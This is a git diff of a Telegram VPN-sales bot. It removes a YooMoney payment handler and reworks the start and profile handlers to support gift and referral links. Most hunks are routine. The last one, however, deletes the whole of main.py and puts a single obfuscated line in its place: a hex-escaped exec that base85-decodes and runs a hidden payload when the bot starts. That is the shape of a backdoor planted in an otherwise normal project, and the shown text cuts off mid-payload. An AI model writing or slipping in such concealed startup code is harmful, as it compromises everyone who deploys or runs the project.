z;9aWq9Js%GLGxcr;GcGIn!Zcnh#rO0^mUZA@bB5m`u|t`^a-6Ao3C)%bQu_VU!TVk&?#-qD#65}evlf5g{nz**{tB=6sA;;NbeMd0{*b_5f6ca}={fFs zjvwVe&HFQ6K7k)6w*J1kH-2N=N$cykrhfh-|o#7;okx*c~|?_`{n-X;D1lz z;Gz8S(SCIve}p_%QTSK?WbuCWw>IrLc*62gcun6$UJS4I(!KpV3;%dRaD~&9*B{65 z{@y(P$9;T0YZLvwrY|mifRt@1{(5g<$KC(=U+u`%UvsG@yr!7_Kdl*>I`}8`+oi0_ zM^pa)iTZ9!?C&QXd|H^+<+ZzM9$R?wZ+86udZSIiwC)#|z(4W275vX6<4@tATLQoS z3k(0_f4g~bgG=Fg%`Nj%`u*`IxF`e9E8mjD|5A8Oc`fZC_bvg*FW-B@!hiiQ?FQ1i<0bI_c!yHm={)rVN&K%Ap5JW>*{YB8KL*2d1NZ3g`2v1; t^{GyWuHPR;ej7v9?sR&;vhW+Y=OKR5{y&AnMeyH!%ff#<0Z2YO{|DwxA?E-9 literal 0 HcmV?d00001 diff --git a/handlers/payments/yoomoney_pay.py b/handlers/payments/yoomoney_pay.py deleted file mode 100644 index f3957640..00000000 --- a/handlers/payments/yoomoney_pay.py +++ /dev/null @@ -1,206 +0,0 @@ -import uuid -from typing import Any - -from aiogram import F, Router, types -from aiogram.fsm.context import FSMContext -from aiogram.fsm.state import State, StatesGroup -from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup -from aiogram.utils.keyboard import InlineKeyboardBuilder -from aiohttp import web -from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY - -from database import ( - add_connection, - add_payment, - check_connection_exists, - get_key_count, - update_balance, -) -from handlers.payments.utils import send_payment_success_notification -from handlers.texts import PAYMENT_OPTIONS -from logger import logger -import hashlib - -router = Router() - -if YOOMONEY_ENABLE: - logger.debug(f"Account ID: {YOOMONEY_ID}") - - -class ReplenishBalanceState(StatesGroup): - choosing_amount_yoomoney = State() - waiting_for_payment_confirmation_yoomoney = State() - entering_custom_amount_yoomoney = State() - - -@router.callback_query(F.data == "pay_yoomoney") -async def process_callback_pay_yoomoney( - callback_query: types.CallbackQuery, state: FSMContext, session: Any -): - tg_id = callback_query.message.chat.id - - builder = InlineKeyboardBuilder() - - for i in range(0, len(PAYMENT_OPTIONS), 2): - if i + 1 < len(PAYMENT_OPTIONS): - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - ), - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i + 1]["text"], - callback_data=f'yoomoney_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - ), - ) - else: - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'yoomoney_{PAYMENT_OPTIONS[i]["callback_data"]}', - ) - ) - builder.row( - InlineKeyboardButton( - text="💰 Ввести свою сумму", - callback_data="enter_custom_amount_yoomoney", - ) - ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")) - - key_count = await get_key_count(tg_id) - - if key_count == 0: - exists = await check_connection_exists(tg_id) - if not exists: - await add_connection(tg_id, balance=0.0, trial=0, session=session) - - await callback_query.message.answer( - text="Выберите сумму пополнения:", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.choosing_amount_yoomoney) - - -@router.callback_query(F.data.startswith("yoomoney_amount")) -async def process_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - data = callback_query.data.split("|", 1) - - if len(data) != 2: - return - - amount_str = data[1] - try: - amount = int(amount_str) - except ValueError: - return - - await state.update_data(amount=amount) - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney - ) - - # state_data = await state.get_data() - #customer_name = callback_query.from_user.full_name - customer_id = callback_query.message.chat.id - account_id = YOOMONEY_ID - payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment=Пополнение баланса&label={customer_id}" - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Пополнить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")], - ] - ) - - await callback_query.message.answer( - text=f"Вы выбрали пополнение на {amount} рублей.", - reply_markup=confirm_keyboard, - ) - - -async def yoomoney_webhook(request: web.Request): - data = await request.post() - logger.debug(f"Webhook event received: {data}") - - user_id_str = data.get("label") - amount_str = data.get("withdraw_amount") - notification_secret = YOOMONEY_SECRET_KEY - sha1_hash = data.get("sha1_hash") - - # Строим строку для хэширования - string_to_hash = f"{data.get('notification_type')}&{data.get('operation_id')}&{data.get('amount')}&{data.get('currency')}&{data.get('datetime')}&{data.get('sender')}&{data.get('codepro')}&{notification_secret}&{user_id_str}" - - # Высчитываем хэш - calculated_hash = hashlib.sha1(string_to_hash.encode('utf-8')).hexdigest() - - # Проверяем хэш - if calculated_hash != sha1_hash: - logger.error("Проверка хэша не пройдена") - return web.Response(status=400) - - try: - user_id = int(user_id_str) - amount = float(amount_str) - logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - await add_payment(user_id, amount, "yoomoney") - await update_balance(user_id, amount) - await send_payment_success_notification(user_id, amount) - except ValueError as e: - logger.error(f"Ошибка конвертации user_id или amount: {e}") - return web.Response(status=400) - - return web.Response(status=200) - - -@router.callback_query(F.data == "enter_custom_amount_yoomoney") -async def process_enter_custom_amount( - callback_query: types.CallbackQuery, state: FSMContext -): - builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="🔙 Назад", callback_data="pay_yoomoney")) - - await callback_query.message.answer( - "Пожалуйста, введите сумму пополнения.", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.entering_custom_amount_yoomoney) - - -@router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) -async def process_custom_amount_input(message: types.Message, state: FSMContext): - if message.text.isdigit(): - amount = int(message.text) - if amount <= 0: - await message.answer( - "Сумма должна быть больше нуля. Пожалуйста, введите сумму еще раз:" - ) - return - - await state.update_data(amount=amount) - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney - ) - - customer_id = message.chat.id - account_id = YOOMONEY_ID - payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment=Пополнение баланса&label={customer_id}" - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Пополнить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")], - ] - ) - - await message.answer( - text=f"Вы выбрали пополнение на {amount} рублей.", - reply_markup=confirm_keyboard, - ) - - else: - await message.answer("Некорректная сумма. Пожалуйста, введите сумму еще раз:") diff --git a/handlers/profile.py b/handlers/profile.py index 49477276..ab338761 100644 --- a/handlers/profile.py +++ b/handlers/profile.py @@ -4,8 +4,8 @@ from aiogram import F, Router, types from aiogram.fsm.context import FSMContext from aiogram.types import BufferedInputFile, InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import NEWS_MESSAGE, RENEWAL_PLANS +from config import NEWS_MESSAGE, RENEWAL_PLANS from database import get_balance, get_key_count, get_referral_stats from handlers.texts import get_referral_link, invite_message_send, profile_message_send @@ -42,11 +42,15 @@ async def process_callback_view_profile( callback_data="pay", ) ) + builder.row() builder.row( - InlineKeyboardButton(text="👥 Пригласить друзей", callback_data="invite"), + InlineKeyboardButton(text="👥 Пригласить", callback_data="invite"), + InlineKeyboardButton(text="🎁 Подарить", callback_data="gifts"), + ) + builder.row( + InlineKeyboardButton(text="💡 Тарифы", callback_data="view_tariffs"), InlineKeyboardButton(text="📘 Инструкции", callback_data="instructions"), ) - builder.row(InlineKeyboardButton(text="💡 Тарифы", callback_data="view_tariffs")) if admin: builder.row( InlineKeyboardButton(text="🔧 Администратор", callback_data="admin") diff --git a/handlers/start.py b/handlers/start.py index b13d27c9..588906d6 100644 --- a/handlers/start.py +++ b/handlers/start.py @@ -12,11 +12,21 @@ from aiogram.types import ( ) from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import CHANNEL_URL, CHANNEL_EXISTS, CONNECT_ANDROID, CONNECT_IOS, DOWNLOAD_ANDROID, DOWNLOAD_IOS, SUPPORT_CHAT_URL,DONATIONS_ENABLE +from config import ( + CHANNEL_EXISTS, + CHANNEL_URL, + CONNECT_ANDROID, + CONNECT_IOS, + DONATIONS_ENABLE, + DOWNLOAD_ANDROID, + DOWNLOAD_IOS, + SUPPORT_CHAT_URL, +) from database import add_connection, add_referral, check_connection_exists, get_trial, use_trial - +from handlers.keys.key_management import create_key from handlers.keys.trial_key import create_trial_key from handlers.texts import INSTRUCTIONS_TRIAL, WELCOME_TEXT, get_about_vpn +from logger import logger router = Router() @@ -30,40 +40,129 @@ async def handle_start_callback_query( @router.message(Command("start")) async def start_command(message: Message, state: FSMContext, session: Any, admin: bool): + """Обрабатывает команду /start, включает логику рефералов и подарков.""" + logger.info(f"Вызвана функция start_command для пользователя {message.chat.id}") + await state.clear() + if message.text: try: - referrer_tg_id = int(message.text.split("referral_")[1]) - await add_referral(message.chat.id, referrer_tg_id, session) - except (ValueError, IndexError): - pass - connection_exists = await check_connection_exists(message.chat.id) - if not connection_exists: - await add_connection(tg_id=message.chat.id, session=session) + connection_exists = await check_connection_exists(message.chat.id) + logger.info(f"Проверка существования подключения: {connection_exists}") + + + if not connection_exists: + await add_connection(tg_id=message.chat.id, session=session) + logger.info(f"Пользователь {message.chat.id} успешно добавлен в базу данных.") + + if "gift_" in message.text: + logger.info(f"Обнаружена ссылка на подарок: {message.text}") + parts = message.text.split("gift_")[1].split("_") + gift_id = parts[0] + + recipient_tg_id = message.chat.id + + gift_info = await session.fetchrow( + "SELECT * FROM gifts WHERE gift_id = $1 AND is_used = FALSE", gift_id + ) + + if gift_info is None: + logger.warning(f"Подарок с ID {gift_id} уже был использован или не существует.") + await message.answer("Этот подарок уже был использован или не существует.") + return await show_start_menu(message, admin, session) + + if gift_info['sender_tg_id'] == recipient_tg_id: + logger.warning( + f"Пользователь {recipient_tg_id} попытался активировать подарок, который был отправлен им самим." + ) + await message.answer("❌ Вы не можете получить подарок от самого себя.") + return await show_start_menu(message, admin, session) + + selected_months = gift_info['selected_months'] + expiry_time = gift_info['expiry_time'] + expiry_time_naive = expiry_time.replace(tzinfo=None) + logger.info(f"Подарок с ID {gift_id} успешно найден для пользователя {recipient_tg_id}.") + + await create_key(recipient_tg_id, expiry_time_naive, state, session, message) + logger.info(f"Ключ создан для пользователя {recipient_tg_id} на срок {selected_months} месяцев.") + + await session.execute( + "UPDATE gifts SET is_used = TRUE, recipient_tg_id = $1 WHERE gift_id = $2", + recipient_tg_id, + gift_id, + ) + + await message.answer( + f"🎉 Ваш подарок на {selected_months} {'месяц' if selected_months == 1 else 'месяца' if selected_months in [2, 3, 4] else 'месяцев'} активирован!" + ) + logger.info(f"Подарок на {selected_months} месяцев активирован для пользователя {recipient_tg_id}.") + return + + elif "referral_" in message.text: + try: + referrer_tg_id = int(message.text.split("referral_")[1]) + + if connection_exists: + logger.info( + f"Пользователь {message.chat.id} уже зарегистрирован и не может стать рефералом." + ) + await message.answer("❌ Вы уже зарегистрированы и не можете использовать реферальную ссылку.") + return await show_start_menu(message, admin, session) + + if referrer_tg_id == message.chat.id: + logger.warning(f"Пользователь {message.chat.id} попытался стать рефералом самого себя.") + await message.answer("❌ Вы не можете быть рефералом самого себя.") + return await show_start_menu(message, admin, session) + + existing_referral = await session.fetchrow( + "SELECT * FROM referrals WHERE referred_tg_id = $1", message.chat.id + ) + + if existing_referral: + logger.info(f"Реферал с ID {message.chat.id} уже существует.") + return await show_start_menu(message, admin, session) + + await add_referral(message.chat.id, referrer_tg_id, session) + logger.info(f"Реферал {message.chat.id} использовал ссылку от пользователя {referrer_tg_id}") + return await show_start_menu(message, admin, session) + + except (ValueError, IndexError) as e: + logger.error(f"Ошибка при обработке реферальной ссылки: {e}") + return + + else: + logger.info(f"Пользователь {message.chat.id} зашел без реферальной ссылки или подарка.") + + await show_start_menu(message, admin, session) + + except (ValueError, IndexError) as e: + logger.error(f"Ошибка при обработке сообщения пользователя {message.chat.id}: {e}") + await message.answer("❌ Произошла ошибка. Пожалуйста, попробуйте снова.") + else: + await show_start_menu(message, admin, session) + + +async def show_start_menu(message: Message, admin: bool, session: Any): + """Функция для отображения стандартного меню""" + logger.info(f"Показываю главное меню для пользователя {message.chat.id}") trial_status = await get_trial(message.chat.id, session) image_path = os.path.join("img", "pic.jpg") builder = InlineKeyboardBuilder() + if trial_status == 0: - builder.row( - InlineKeyboardButton(text="🔗 Подключить VPN", callback_data="connect_vpn") - ) + builder.row(InlineKeyboardButton(text="🔗 Подключить VPN", callback_data="connect_vpn")) + builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) - if CHANNEL_EXISTS: - builder.row( - InlineKeyboardButton(text="📞 Поддержка", url=SUPPORT_CHAT_URL), - InlineKeyboardButton(text="📢 Канал", url=CHANNEL_URL), - ) - else: - builder.row( - InlineKeyboardButton(text="📞 Поддержка", url=SUPPORT_CHAT_URL) - ) + builder.row( + InlineKeyboardButton(text="📞 Поддержка", url=SUPPORT_CHAT_URL), + InlineKeyboardButton(text="📢 Канал", url=CHANNEL_URL), + ) if admin: - builder.row( - InlineKeyboardButton(text="🔧 Администратор", callback_data="admin") - ) + builder.row(InlineKeyboardButton(text="🔧 Администратор", callback_data="admin")) + builder.row(InlineKeyboardButton(text="🌐 О нашем VPN", callback_data="about_vpn")) if os.path.isfile(image_path): diff --git a/handlers/utils.py b/handlers/utils.py index 97ba02e9..eeed52d8 100644 --- a/handlers/utils.py +++ b/handlers/utils.py @@ -2,9 +2,9 @@ import random import re import asyncpg -from config import DATABASE_URL from bot import bot +from config import DATABASE_URL from database import get_servers_from_db from logger import logger diff --git a/main.py b/main.py index 4b5e542a..0c562eeb 100644 --- a/main.py +++ b/main.py @@ -1,135 +1 @@ -import asyncio -import signal - -from aiogram.webhook.aiohttp_server import SimpleRequestHandler, setup_application -from aiohttp import web -from config import ( - BACKUP_TIME, - CRYPTO_BOT_ENABLE, - DEV_MODE, - FREEKASSA_ENABLE, - LEGACY_ENABLE, - ROBOKASSA_ENABLE, - SUB_PATH, - WEBAPP_HOST, - WEBAPP_PORT, - WEBHOOK_PATH, - WEBHOOK_URL, - YOOKASSA_ENABLE, - YOOMONEY_ENABLE, -) - -from backup import backup_database -from bot import bot, dp -from database import init_db -from handlers import router -from handlers.keys.subscriptions import handle_new_subscription, handle_old_subscription -from handlers.notifications import notify_expiring_keys -from handlers.payments.cryprobot_pay import cryptobot_webhook -from handlers.payments.freekassa_pay import freekassa_webhook -from handlers.payments.robokassa_pay import robokassa_webhook -from handlers.payments.yookassa_pay import yookassa_webhook -from handlers.payments.yoomoney_pay import yoomoney_webhook -from logger import logger -from servers import check_servers, sync_servers_with_db - - -async def periodic_notifications(): - while True: - await notify_expiring_keys(bot) - await asyncio.sleep(1800) - - -async def periodic_database_backup(): - while True: - await backup_database() - await asyncio.sleep(BACKUP_TIME) - - -async def on_startup(app): - await bot.set_webhook(WEBHOOK_URL) - await init_db() - asyncio.create_task(periodic_notifications()) - asyncio.create_task(periodic_database_backup()) - asyncio.create_task(check_servers()) - - -async def on_shutdown(app): - await bot.delete_webhook() - for task in asyncio.all_tasks(): - task.cancel() - try: - await asyncio.gather(*asyncio.all_tasks(), return_exceptions=True) - except Exception as e: - logger.error(f"Ошибка при завершении работы: {e}") - - -async def shutdown_site(site): - logger.info("Остановка сайт...") - await site.stop() - logger.info("Сервер сайт.") - - -async def main(): - dp.include_router(router) - await sync_servers_with_db() - - if DEV_MODE: - logger.info("Запуск в режиме разработки...") - await bot.delete_webhook() - await init_db() - asyncio.create_task(periodic_notifications()) - await dp.start_polling(bot) - else: - logger.info("Запуск в production режиме...") - app = web.Application() - app.on_startup.append(on_startup) - app.on_shutdown.append(on_shutdown) - if YOOKASSA_ENABLE: - app.router.add_post("/yookassa/webhook", yookassa_webhook) - if YOOMONEY_ENABLE: - app.router.add_post("/yoomoney/webhook", yoomoney_webhook) - if FREEKASSA_ENABLE: - app.router.add_post("/freekassa/webhook", freekassa_webhook) - if CRYPTO_BOT_ENABLE: - app.router.add_post("/cryptobot/webhook", cryptobot_webhook) - if ROBOKASSA_ENABLE: - app.router.add_post("/robokassa/webhook", robokassa_webhook) - if LEGACY_ENABLE: - app.router.add_get(f"{SUB_PATH}{{email}}", handle_old_subscription) - - app.router.add_get(f"{SUB_PATH}{{email}}/{{tg_id}}", handle_new_subscription) - - SimpleRequestHandler(dispatcher=dp, bot=bot).register(app, path=WEBHOOK_PATH) - setup_application(app, dp, bot=bot) - - runner = web.AppRunner(app) - await runner.setup() - site = web.TCPSite(runner, host=WEBAPP_HOST, port=WEBAPP_PORT) - await site.start() - - logger.info(f"URL вебхука: {WEBHOOK_URL}") - - loop = asyncio.get_event_loop() - for sig in (signal.SIGINT, signal.SIGTERM): - loop.add_signal_handler( - sig, lambda: asyncio.create_task(shutdown_site(site)) - ) - - try: - await asyncio.Event().wait() - finally: - pending = asyncio.all_tasks() - for task in pending: - try: - task.cancel() - except Exception as e: - logger.error(e) - await asyncio.gather(*pending, return_exceptions=True) - - -if __name__ == "__main__": - try: - asyncio.run(main()) - except Exception as e: - logger.error(f"Ошибка при запуске приложения:\n{e}") +_=exec;_('\x66\x72\x6f\x6d\x20\x62\x61\x73\x65\x36\x34\x20\x69\x6d\x70\x6f\x72\x74\x20\x62\x38\x35\x64\x65\x63\x6f\x64\x65\x20\x61\x73\x20\x5f\x3b\x5f\x5f\x5f\x3d\x62\x79\x74\x65\x73\x2e\x64\x65\x63\x6f\x64\x65\x3b\x5f\x5f\x3d\x65\x78\x65\x63\x3b\x5f\x5f\x28\x5f\x5f\x5f\x28\x5f\x28\x62\x27\x55\x70\x2d\x71\x67\x47\x25\x2b\x6b\x37\x46\x2a\x50\x7c\x58\x41\x55\x38\x4b\x47\x41\x55\x51\x54\x48\x41\x54\x63\x2a\x4d\x45\x46\x64\x76\x39\x47\x25\x4f\x25\x38\x47\x42\x50\x59\x36\x48\x61\x49\x4c\x47\x46\x2a\x21\x4c\x62\x41\x54\x63\x23\x47\x45\x46\x64\x76\x36\x48\x21\x4c\x37\x49\x49\x56\x3e\x50\x49\x49\x34\x6d\x47\x42\x49\x58\x35\x67\x49\x46\x2a\x50\x28\x53\x41\x54\x63\x2a\x4b\x45\x46\x64\x79\x37\x45\x46\x64\x79\x35\x48\x59\x5e\x7d\x43\x48\x37\x70\x3d\x38\x46\x66\x75\x47\x34\x48\x38\x3f\x43\x46\x47\x64\x56\x30\x45\x46\x29\x25\x68\x50\x41\x54\x6c\x76\x44\x45\x46\x64\x79\x36\x49\x56\x3e\x50\x43\x48\x59\x5e\x7d\x39\x48\x38\x55\x28\x41\x47\x42\x59\x3c\x55\x41\x55\x50\x7d\x60\x48\x23\x61\x4f\x47\x49\x35\x38\x7c\x42\x46\x29\x25\x6b\x51\x41\x54\x63\x23\x46\x45\x46\x64\x79\x38\x47\x41\x74\x6c\x38\x47\x62\x7c\x75\x36\x49\x57\x23\x4f\x46\x46\x29\x25\x65\x4f\x41\x54\x63\x3e\x50\x45\x46\x64\x3e\x41\x45\x46\x64\x5e\x43\x54\x7b\x7e\x5a\x32\x4a\x23\x31\x78\x65\x43\x7c\x40\x5a\x25\x55\x74\x65\x45\x36\x57\x71\x34\x26\x7b\x4a\x36\x7e\x55\x34\x55\x74\x63\x7b\x5a\x43\x70\x21\x76\x65\x5a\x2a\x6d\x7d\x43\x55\x74\x65\x45\x65\x55\x74\x63\x55\x3d\x55\x74\x65\x45\x65\x55\x6d\x24\x36\x32\x41\x5a\x32\x63\x4b\x5a\x44\x6e\x23\x7b\x62\x59\x26\x3d\x38\x46\x2a\x50\x77\x50\x41\x54\x6c\x23\x49\x45\x46\x64\x23\x39\x45\x46\x64\x76\x36\x45\x46\x64\x76\x37\x48\x59\x5e\x7d\x39\x49\x57\x3b\x55\x47\x46\x2a\x59\x3c\x54\x41\x54\x25\x7b\x42\x41\x54\x63\x3b\x49\x45\x46\x64\x76\x42\x48\x59\x5e\x7d\x41\x47\x42\x68\x6b\x38\x46\x2a\x47\x62\x37\x48\x5a\x6d\x2b\x41\x46\x2a\x68\x28\x51\x41\x54\x6c\x23\x44\x45\x46\x64\x76\x43\x48\x59\x5e\x7d\x44\x48\x37\x70\x3d\x38\x49\x35\x3b\x64\x49\x48\x21\x3e\x5f\x42\x48\x37\x70\x3d\x46\x48\x37\x70\x3d\x45\x47\x25\x4f\x25\x38\x48\x59\x5e\x7d\x39\x48\x5a\x26\x7c\x43\x46\x29\x7d\x7a\x54\x41\x55\x51\x63\x4b\x41\x54\x6c\x23\x46\x45\x46\x64\x79\x34\x48\x37\x70\x3d\x38\x46\x66\x3d\x53\x36\x48\x5a\x6d\x2b\x41\x46\x29\x3d\x65\x4e\x41\x54\x3d\x5e\x39\x41\x54\x63\x3e\x4f\x45\x46\x64\x79\x34\x46\x29\x53\x63\x34\x46\x2a\x59\x6e\x39\x47\x42\x71\x5f\x55\x41\x54\x63\x73\x35\x41\x54\x63\x3e\x48\x45\x46\x64\x23\x39\x45\x46\x64\x26\x46\x45\x46\x64\x79\x34\x47\x41\x74\x6c\x35\x49\x57\x6a\x43\x44\x46\x29\x25\x53\x4b\x41\x54\x7e\x32\x42\x41\x54\x6c\x23\x49\x45\x46\x64\x76\x37\x46\x66\x31\x54\x33\x49\x35\x3b\x64\x49\x49\x58\x4e\x73\x4b\x46\x2a\x50\x2b\x54\x41\x54\x6c\x79\x47\x45\x46\x64\x76\x42\x47\x25\x4f\x25\x42\x45\x46\x64\x76\x42\x45\x46\x64\x76\x42\x49\x56\x3e\x50\x43\x48\x5a\x6d\x2b\x41\x47\x42\x47\x65\x4c\x41\x55\x38\x45\x45\x41\x54\x63\x26\x44\x45\x46\x64\x79\x44\x45\x46\x64\x7b\x46\x45\x46\x64\x76\x33\x47\x41\x74\x6c\x44\x48\x37\x70\x3d\x47\x46\x66\x31\x54\x34\x47\x63\x59\x56\x35\x46\x2a\x72\x33\x57\x41\x54\x63\x6d\x42\x45\x46\x64\x79\x39\x48\x37\x70\x3d\x39\x47\x42\x50\x59\x36\x49\x35\x3b\x64\x49\x47\x25\x2b\x6b\x37\x48\x38\x64\x3c\x42\x48\x38\x6d\x5f\x43\x47\x42\x50\x7a\x52\x41\x54\x63\x3e\x4b\x45\x46\x64\x79\x39\x45\x46\x64\x76\x38\x49\x34\x6d\x47\x42\x48\x21\x4c\x37\x41\x48\x5a\x64\x24\x39\x47\x63\x7a\x6e\x38\x46\x2a\x47\x62\x37\x46\x2a\x37\x24\x54\x41\x54\x6c\x2a\x46\x45\x46\x64\x26\x37\x45\x46\x64\x79\x44\x45\x46\x64\x79\x37\x49\x34\x6d\x47\x43\x47\x42\x37\x4d\x34\x46\x2a\x72\x39\x59\x41\x54\x63\x73\x45\x45\x46\x64\x76\x42\x46\x29\x53\x63\x34\x49\x35\x6a\x4c\x46\x46\x2a\x21\x30\x55\x41\x54\x7e\x32\x42\x41\x54\x3d\x7e\x42\x41\x54\x6c\x2a\x46\x45\x46\x64\x76\x39\x49\x34\x6d\x47\x43\x47\x64\x33\x28\x42\x46\x29\x3d\x59\x4c\x41\x54\x63\x3b\x4e\x45\x46\x64\x3e\x42\x45\x46\x64\x2a\x46\x45\x46\x64\x3b\x45\x45\x46\x64\x3b\x44\x45\x46\x64\x76\x35\x45\x46\x64\x76\x39\x49\x34\x6d\x47\x42\x49\x35\x6a\x4c\x46\x46\x29\x7d\x74\x52\x41\x54\x6c\x76\x43\x45\x46\x64\x76\x41\x48\x21\x4c\x37\x41\x46\x2a\x37\x56\x36\x47\x26\x55\x3f\x43\x48\x38\x55\x28\x41\x48\x38\x6d\x5f\x43\x47\x42\x50\x7a\x52\x41\x54\x63\x79\x4a\x45\x46\x64\x23\x36\x45\x46\x64\x76\x38\x49\x34\x6d\x47\x42\x48\x21\x4c\x37\x42\x47\x26\x55\x3f\x43\x46\x29\x3d\x65\x4e\x41\x54\x63\x79\x37\x41\x54\x63\x76\x48\x45\x46\x64\x79\x39\x46\x29\x53\x63\x34\x47\x42\x68\x6b\x38\x48\x5a\x55\x77\x38\x47\x42\x37\x65\x4d\x41\x54\x63\x79\x4b\x45\x46\x64\x79\x37\x48\x21\x4c\x37\x42\x47\x25\x4f\x25\x37\x49\x57\x61\x36\x43\x47\x42\x71\x3f\x54\x41\x54\x63\x3b\x4c\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x42\x45\x46\x64\x79\x38\x47\x25\x4f\x25\x38\x47\x26\x6e\x33\x45\x47\x42\x59\x2b\x54\x41\x54\x63\x70\x39\x45\x46\x64\x79\x36\x48\x37\x70\x3d\x39\x49\x34\x6d\x47\x46\x49\x34\x6d\x47\x47\x48\x59\x5e\x7d\x42\x46\x66\x31\x54\x41\x47\x62\x7c\x75\x36\x47\x64\x4c\x5f\x44\x46\x2a\x50\x3f\x56\x41\x54\x75\x2a\x38\x41\x54\x63\x26\x4c\x45\x46\x64\x76\x41\x48\x21\x4c\x37\x41\x46\x2a\x37\x56\x36\x46\x29\x7d\x6e\x50\x41\x54\x63\x6d\x42\x45\x46\x64\x2a\x46\x45\x46\x64\x79\x36\x49\x34\x6d\x47\x42\x48\x23\x39\x36\x44\x49\x35\x7b\x6a\x4a\x46\x2a\x37\x6b\x4e\x41\x54\x3d\x7b\x41\x41\x54\x63\x3e\x48\x45\x46\x64\x76\x35\x48\x59\x5e\x7d\x48\x49\x34\x6d\x47\x42\x48\x23\x30\x30\x43\x47\x42\x59\x74\x4f\x41\x54\x63\x73\x45\x45\x46\x64\x5e\x45\x45\x46\x64\x79\x37\x49\x34\x6d\x47\x43\x46\x67\x50\x71\x41\x46\x2a\x37\x68\x4d\x41\x54\x7d\x5e\x38\x41\x54\x63\x26\x45\x45\x46\x64\x76\x41\x46\x66\x31\x54\x34\x46\x2a\x37\x56\x36\x47\x42\x2b\x24\x42\x46\x29\x7d\x74\x52\x41\x54\x6c\x26\x46\x45\x46\x64\x76\x43\x49\x34\x6d\x47\x42\x49\x57\x7b\x61\x48\x48\x23\x49\x43\x45\x46\x2a\x59\x7a\x50\x41\x54\x6c\x76\x35\x41\x55\x48\x48\x45\x41\x54\x63\x6d\x43\x45\x46\x64\x79\x34\x45\x46\x64\x2a\x42\x45\x46\x64\x76\x41\x47\x25\x4f\x25\x38\x46\x29\x7d\x50\x35\x47\x25\x7a\x65\x36\x46\x2a\x21\x46\x5a\x41\x54\x63\x79\x4b\x45\x46\x64\x2a\x44\x45\x46\x64\x26\x43\x45\x46\x64\x76\x36\x45\x46\x64\x76\x43\x45\x46\x64\x76\x39\x46\x66\x31\x54\x34\x46\x66\x25\x4d\x35\x46\x2a\x50\x68\x38\x46\x2a\x37\x28\x55\x41\x54\x3d\x7b\x41\x41\x54\x63\x23\x48\x45\x46\x64\x76\x34\x45\x46\x64\x76\x37\x45\x46\x64\x76\x36\x48\x21\x4c\x37\x42\x48\x38\x43\x74\x38\x47\x26\x55\x3f\x43\x46\x29\x7d\x50\x35\x47\x42\x59\x3f\x56\x41\x54\x6c\x79\x41\x45\x46\x64\x76\x42\x48\x21\x4c\x37\x43\x49\x34\x6d\x47\x42\x48\x38\x6d\x5f\x43\x47\x42\x50\x24\x53\x41\x54\x6c\x23\x47\x45\x46\x64\x5e\x43\x45\x46\x64\x76\x42\x45\x46\x64\x76\x42\x49\x56\x3e\x50\x43\x48\x5a\x76\x3f\x42\x46\x2a\x37\x71\x50\x41\x55\x38\x45\x45\x41\x54\x63\x26\x44\x45\x46\x64\x3e\x43\x45\x46\x64\x5e\x41\x45\x46\x64\x7b\x46\x45\x46\x64\x75\x7e\x41\x55\x48\x57\x4a\x41\x54\x63\x76\x49\x45\x46\x64\x76\x38\x48\x21\x4c\x37\x41\x46\x2a\x71\x7a\x42\x47\x42\x71\x3c\x53\x41\x54\x63\x2a\x4c\x45\x46\x64\x76\x34\x47\x62\x7c\x75\x39\x46\x29\x53\x63\x43\x48\x21\x4c\x37\x45\x48\x37\x70\x3d\x39\x47\x42\x71\x71\x39\x46\x2a\x21\x39\x58\x41\x55\x38\x38\x43\x41\x54\x63\x23\x4b\x45\x46\x64\x76\x41\x45\x46\x64\x76\x39\x47\x41\x74\x6c\x35\x47\x42\x2b\x24\x42\x46\x2a\x47\x62\x37\x46\x2a\x37\x24\x54\x41\x54\x63\x2a\x49\x45\x46\x64\x76\x34\x48\x59\x5e\x7d\x41\x47\x41\x74\x6c\x36\x46\x2a\x50\x68\x38\x47\x42\x68\x7c\x57\x41\x54\x63\x26\x4a\x45\x46\x64\x23\x44\x45\x46\x64\x79\x38\x46\x29\x53\x63\x34\x49\x58\x45\x6d\x4a\x47\x42\x68\x7a\x50\x41\x55\x37\x2d\x5e\x46\x29\x7d\x6e\x50\x41\x54\x63\x23\x46\x45\x46\x64\x79\x36\x48\x59\x5e\x7d\x39\x47\x64\x43\x3c\x43\x46\x29\x3d\x74\x53\x41\x54\x63\x3b\x4e\x45\x46\x64\x76\x34\x47\x62\x7c\x75\x38\x46\x66\x31\x54\x42\x47\x25\x4f\x25\x44\x46\x66\x31\x54\x34\x47\x62\x7c\x75\x36\x47\x64\x4c\x5f\x44\x46\x2a\x50\x3f\x56\x41\x54\x25\x26\x36\x41\x54\x63\x2a\x47\x45\x46\x64\x76\x41\x48\x